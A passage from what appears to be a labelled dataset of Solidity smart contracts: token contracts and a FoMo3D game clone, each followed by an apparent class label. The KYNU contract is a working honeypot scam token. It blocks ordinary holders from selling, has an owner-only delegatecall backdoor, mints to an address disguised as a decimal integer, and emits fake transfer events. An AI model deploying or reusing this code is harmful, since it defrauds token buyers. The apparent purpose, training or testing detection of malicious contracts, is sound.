if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract IndividualLockableToken is PausableToken{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balances[_holder] >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balances[_holder];
return balances[_holder].sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract EthereumRed is IndividualLockableToken, TokenDestructible {
using SafeMath for uint256;
string public constant name = "Ethereum Red";
string public constant symbol = "ERED";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals));
constructor()
public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
}
| 0 | 1,065 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KYNU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,764 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MixinToken is StandardToken {
string public constant name = "Mixin";
string public constant symbol = "XIN";
uint8 public constant decimals = 18;
function MixinToken() public {
totalSupply = 1000000000000000000000000;
balances[msg.sender] = totalSupply;
}
}
| 1 | 2,156 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
event onAirPot(
uint256 roundID,
uint256 potType,
address winner,
uint256 prize
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private owner = 0x0c204d9C438553a107B29cdE1d1e7954673b29B3;
address private opAddress = 0x0c204d9C438553a107B29cdE1d1e7954673b29B3;
address private comAddress = 0x24D160101C72c035287f772a8ac2b744a477F489;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x0f717ffff71e639636fcdd33727ee8c17c4724bf);
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 private rndExtra_ = 0;
uint256 constant private rndInit_ = 2 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 2 hours;
uint256 constant private comDropGap_ = 24 hours;
uint256 constant private rndNTR_ = 168 hours;
uint256 public airDropPot_;
uint256 public airDropPot2_;
uint256 public airDropTracker_ = 0;
uint256 public airDropTracker2_ = 0;
uint256 public rID_;
uint256 public comReWards_;
uint256 public comAirDrop_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => uint256) public inviteCount_;
mapping (address => bool) public addrLock_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => uint256[10]) public lastTen_;
mapping (uint256 => uint256) public roundBetCount_;
mapping (uint256 => mapping (uint256 =>uint256)) public comDropLastTime_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(48,0);
fees_[1] = F3Ddatasets.TeamFee(33,0);
fees_[2] = F3Ddatasets.TeamFee(18,0);
potSplit_[0] = F3Ddatasets.PotSplit(10,20);
potSplit_[1] = F3Ddatasets.PotSplit(5,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt )
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt ).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
